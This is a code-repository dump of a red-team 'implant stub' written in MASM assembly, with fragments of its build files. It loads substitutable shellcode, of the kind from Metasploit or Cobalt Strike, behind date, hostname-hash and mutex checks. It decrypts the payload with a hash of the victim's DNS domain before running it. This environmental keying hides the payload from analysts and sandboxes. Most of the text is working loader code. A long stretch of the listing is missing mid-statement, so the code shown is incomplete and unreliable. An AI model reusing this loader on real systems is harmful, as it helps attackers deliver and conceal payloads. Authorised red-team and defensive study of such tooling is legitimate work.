| 118 | 119 | true 120 | true 121 | true 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /stub-c/stub.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | 34 | 35 | Resource Files 36 | 37 | 38 | -------------------------------------------------------------------------------- /stub-masm-exe/makeit.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | if exist "stub-exe.obj" del "stub-exe.obj" 4 | if exist "stub-exe.exe" del "stub-exe.exe" 5 | 6 | \masm32\bin\ml /c /coff "stub-exe.asm" 7 | if errorlevel 1 goto errasm 8 | 9 | \masm32\bin\PoLink /SUBSYSTEM:WINDOWS "stub-exe.obj" 10 | if errorlevel 1 goto errlink 11 | dir "stub-exe.*" 12 | goto TheEnd 13 | 14 | :errlink 15 | echo _ 16 | echo Link error 17 | goto TheEnd 18 | 19 | :errasm 20 | echo _ 21 | echo Assembly Error 22 | goto TheEnd 23 | 24 | :TheEnd 25 | 26 | pause 27 | -------------------------------------------------------------------------------- /stub-masm-exe/stub-exe.asm: -------------------------------------------------------------------------------- 1 | ; ----------------------------------------------------------------------------- 2 | ; 3 | ; Implant Stub Code - Win32 Assembly Language (MASM) executable 4 | ; (C) 2016 Stuart Morgan (@ukstufus) 5 | ; MWR InfoSecurity Ltd, MWR Labs 6 | ; 7 | ; This code is designed to act as a wrapper for existing implants during simulated 8 | ; attacks. 9 | ; 10 | ; Compile this by running 'makeit.bat' from the same drive as a masm32 installation. 11 | ; 12 | ; In its current form, it: 13 | ; 14 | ; 1. Checks to ensure that the current time is acceptable (i.e. within the agreed 15 | ; timescales of the simulated attack) 16 | ; 2. Hashes the NetBIOS name of the computer it is being run on and compares this 17 | ; to a stored hash. It exits if they do not match. 18 | ; 3. Hashes the DNS domain name of the computer it is being run on and xors the 19 | ; hash (concatenated with itself if necessary) against the included shellcode 20 | ; 4. Executes the (xor'd) shellcode. 21 | ; 22 | ; ----------------------------------------------------------------------------- 23 | 24 | .586 25 | .model flat,stdcall 26 | option casemap:none 27 | 28 | ; ----------------------------------------------------------------------------- 29 | ; These includes are needed for the compiler and linker 30 | ; ----------------------------------------------------------------------------- 31 | 32 | include \masm32\include\windows.inc 33 | include \masm32\include\kernel32.inc 34 | include \masm32\include\advapi32.inc 35 | includelib \masm32\lib\kernel32.lib 36 | includelib \masm32\lib\advapi32.lib 37 | 38 | ; ----------------------------------------------------------------------------- 39 | ; MASM works by single-pass, so all functions need to be declared 40 | ; in advance so that the lexical analyser will work properly 41 | ; ----------------------------------------------------------------------------- 42 | 43 | CheckExecution PROTO 44 | MutexCheck PROTO 45 | ExecuteShellcode PROTO 46 | GetComputerInfo PROTO :DWORD 47 | GenerateHash PROTO :DWORD,:DWORD 48 | SafeStrLen PROTO :DWORD 49 | 50 | .data 51 | 52 | ; I had to work this out from msdn.microsoft.com/en-us/library/windows/desktop/ms724224%28v=vs.85%29.aspx 53 | ; and some experimentation. You shouldn't need to change this. 54 | CNF_ComputerNamePhysicalNetBIOS equ 4 55 | CNF_ComputerNamePhysicalDnsHostname equ 5 56 | CNF_ComputerNamePhysicalDnsDomain equ 6 57 | CNF_ComputerNamePhysicalDnsFullyQualified equ 7 58 | 59 | ; From https://msdn.microsoft.com/en-us/library/windows/desktop/aa375549%28v=vs.85%29.aspx 60 | ; It identifies the constant needed to request a SHA1 hash from the Crypto API. 61 | MS_CALG_SHA1 equ 8004h 62 | MS_CALG_SHA1_HASHSIZE equ 20 ; The actual size of a returned SHA1 hash (20/0x14 bytes) 63 | 64 | ; The mutex name. "Local\" means per session. "Global\" means per system. Change it to whatever you want. 65 | ; The ,0 on the end is the null terminator. 66 | strMutexName db "Local\Stufus",0 67 | 68 | ; The hash of the authorised NetBIOS computer name. Change this to the real hash. 69 | ; You can generate this with raw2src.py. e.g. ./raw2src.py -c STUFUS -o MASM 70 | ; This is actually the SHA1 hash of the word 'STUFUS' 71 | hashSHA1ComputerName db 96,74,67,166,140,40,87,223,186,148,141,193,224,85,104,207,149,108,112,233 72 | 73 | ; Replace this with the actual shellcode to run (e.g. from metasploit or cobalt strike etc) 74 | ; You can generate this with raw2src.py. e.g. ./raw2src.py -s shellcode.raw -x "MWRINFOSECURITY.COM" -o MASM 75 | ; This example simply displays a messagebox. 76 | shellcode db 138,100,243,32,88,135,130,212,241,84,161,152,161,7,85,115,77,253,213,214 77 | db 216,249,116,114,106,171,253,155,3,109,224,145,39,123,171,241,36,119,114,37 78 | db 178,239,227,149,8,135,253,160,31,109,130,129,16,98,52,137,55,110,40,128 79 | db 115,142,131,26,24,234,253,209,168,231,56,152,151,82,30,254,209,242,99,174 80 | db 84,78,167,244,45,100,157,17,24,154,242,129,29,130,85,88,89,119,72,188 81 | db 216,131,35,114,118,191,119,14,168,226,93,168,128,234,154,38,97,23,96,104 82 | db 91,166,188,112,201,42,180,141,173,168,216,69,58,139,65,253,130,137,42,159 83 | db 87,52,22,33,206,208,241,249,7,180,62,39,151,156,33,139,56,126,203,182 84 | db 63,175,41,145,31,145,88,129,75,147,165,204,26,83,5,138,33,82,169,83 85 | db 181,217,151,172,40,42,180,181,152,78,116,228,212,228,194,38,47,158,252,37 86 | db 172,112,0,138,116,131,86,141,3,170,183,203,0,67,147,85,47,30,214,169 87 | db 115,160,0,170,88,214,16,212,248,110,138,141,121,234,61,106,37,86,131,250 88 | db 59,175,6,150,91,203,24,140,77,129,190,137,26,22,176,106,25,86,193,191 89 | db 59,248,7,140,64,203,23,139,87,198,190,192,5,19,178,106,41,30,198,250 90 | db 98,70,224,181,8,131,255,4,18,52,188,233,59,50,140,253,173,71,99,138 91 | db 172,218,96 92 | shellcodelen equ 303 93 | 94 | .data? 95 | 96 | .code 97 | stufus: 98 | 99 | ; ----------------------------------------------------------------------------- 100 | ; Entry point 101 | ; ----------------------------------------------------------------------------- 102 | 103 | invoke CheckExecution ; This does the main work 104 | invoke ExitProcess, NULL ; Exit cleanly 105 | 106 | 107 | 108 | ; ----------------------------------------------------------------------------- 109 | ; 110 | ; CheckExecution 111 | ; This function does all of the work; it will go through the relevant checks 112 | ; and execute the shellcode if they all pass. 113 | ; 114 | ; ----------------------------------------------------------------------------- 115 | 116 | CheckExecution PROC uses esi edi 117 | LOCAL currenttime:SYSTEMTIME 118 | 119 | ; ============================================================================ 120 | ; CHECK 1: Check the current date/time 121 | ; ============================================================================ 122 | 123 | invoke GetSystemTime, addr currenttime ; Retrieve the system time (in UTC) 124 | .if currenttime.wYear != 2016 ; In this example, ensure that the executable 125 | jmp done ; does not run after the end of July 2016. 126 | .elseif currenttime.wMonth > 7 127 | jmp done 128 | .endif 129 | 130 | ; ============================================================================ 131 | ; CHECK 2: NETBIOS NAME vs STORED HASH 132 | ; ============================================================================ 133 | 134 | ; Get the physical NETBIOS name of the host. Must free the buffer afterwards. 135 | invoke GetComputerInfo, CNF_ComputerNamePhysicalNetBIOS 136 | mov esi, eax ; Contains the raw computer name 137 | invoke SafeStrLen, esi 138 | mov ecx, eax ; Contains the length of the raw computer name 139 | invoke GenerateHash, esi, ecx ; Calculate the SHA1 hash of the computer name 140 | mov edi, eax ; Contains the hash of the raw computer name 141 | invoke GlobalFree, esi ; Free the NETBIOS name buffer 142 | 143 | ; Now compare the hash of the name of the host against the stored hash 144 | push edi ; Store a pointer to the raw computer name hash so we can clear it later 145 | mov ecx, MS_CALG_SHA1_HASHSIZE ; ecx = length of the hash 146 | cld ; Clear the direction flag (i.e. left-to-right comparison) 147 | mov esi, offset hashSHA1ComputerName ; The calculated hash is in edi, the stored hash is now in esi 148 | repz cmpsb ; Compare [esi] and [edi] up to 'ecx' times :-) 149 | jnz badhash ; If they are different, the hash was incorrect 150 | 151 | ; ============================================================================ 152 | ; CHECK 3: MUTEX 153 | ; ============================================================================ 154 | 155 | ; Check to see whether the implant is already running or not 156 | invoke MutexCheck ; Perform the mutex check 157 | test eax, eax ; If return value is 0, don't continue 158 | jz done 159 | 160 | ; ============================================================================ 161 | ; CHECK 4: XORing shellcode against hash of domain name 162 | ; ============================================================================ 163 | 164 | ; Get the physical NETBIOS name of the host. Must free the buffer afterwards. 165 | invoke GetComputerInfo, CNF_ComputerNamePhysicalDnsDomain 166 | mov esi, eax ; Contains the raw computer name 167 | invoke SafeStrLen, esi 168 | mov ecx, eax ; Contains the length of the FQDN 169 | invoke GenerateHash, esi, ecx ; Calculate the SHA1 hash of the FQDN 170 | mov edi, eax ; Contains the hash of the FQDN 171 | invoke GlobalFree, esi ; Free the buffer 172 | 173 | ; Now loop through the shellcode xoring it with the hash values (repeating hash 174 | ; values if necessary) 175 | ; ecx = The loop counter (i.e. position in the shellcode) 176 | ; edi = Pointer to the hash 177 | ; eax = The position in the hash 178 | ; esi = Pointer to the shellcode 179 | ; edx = 'Working' register (to store the current character). I'm using dh. 180 | mov ecx, 0 181 | mov eax, 0 182 | mov esi, offset shellcode 183 | xor edx, edx 184 | startloop: 185 | mov dh, byte ptr [esi+ecx] 186 | xor dh, byte ptr [edi+eax] 187 | mov byte ptr [esi+ecx], dh 188 | .if eax==MS_CALG_SHA1_HASHSIZE-1 ; If we are at the end of the hash, start again 189 | xor eax, eax 190 | .else 191 | inc eax 192 | .endif 193 | .if ecx1024 because I can't see a computer 356 | ; name or domain name legitimately being anywhere near that length. 357 | ; 358 | ; ----------------------------------------------------------------------------- 359 | SafeStrLen PROC uses esi buf:DWORD 360 | 361 | xor ecx, ecx 362 | mov esi, buf 363 | 364 | startloop: 365 | mov al, byte ptr [esi+ecx] 366 | test al, al 367 | jz return 368 | cmp ecx, 1024 369 | jg return 370 | inc ecx 371 | jmp startloop 372 | 373 | return: 374 | mov eax, ecx 375 | ret 376 | SafeStrLen ENDP 377 | End stufus 378 | --------------------------------------------------------------------------------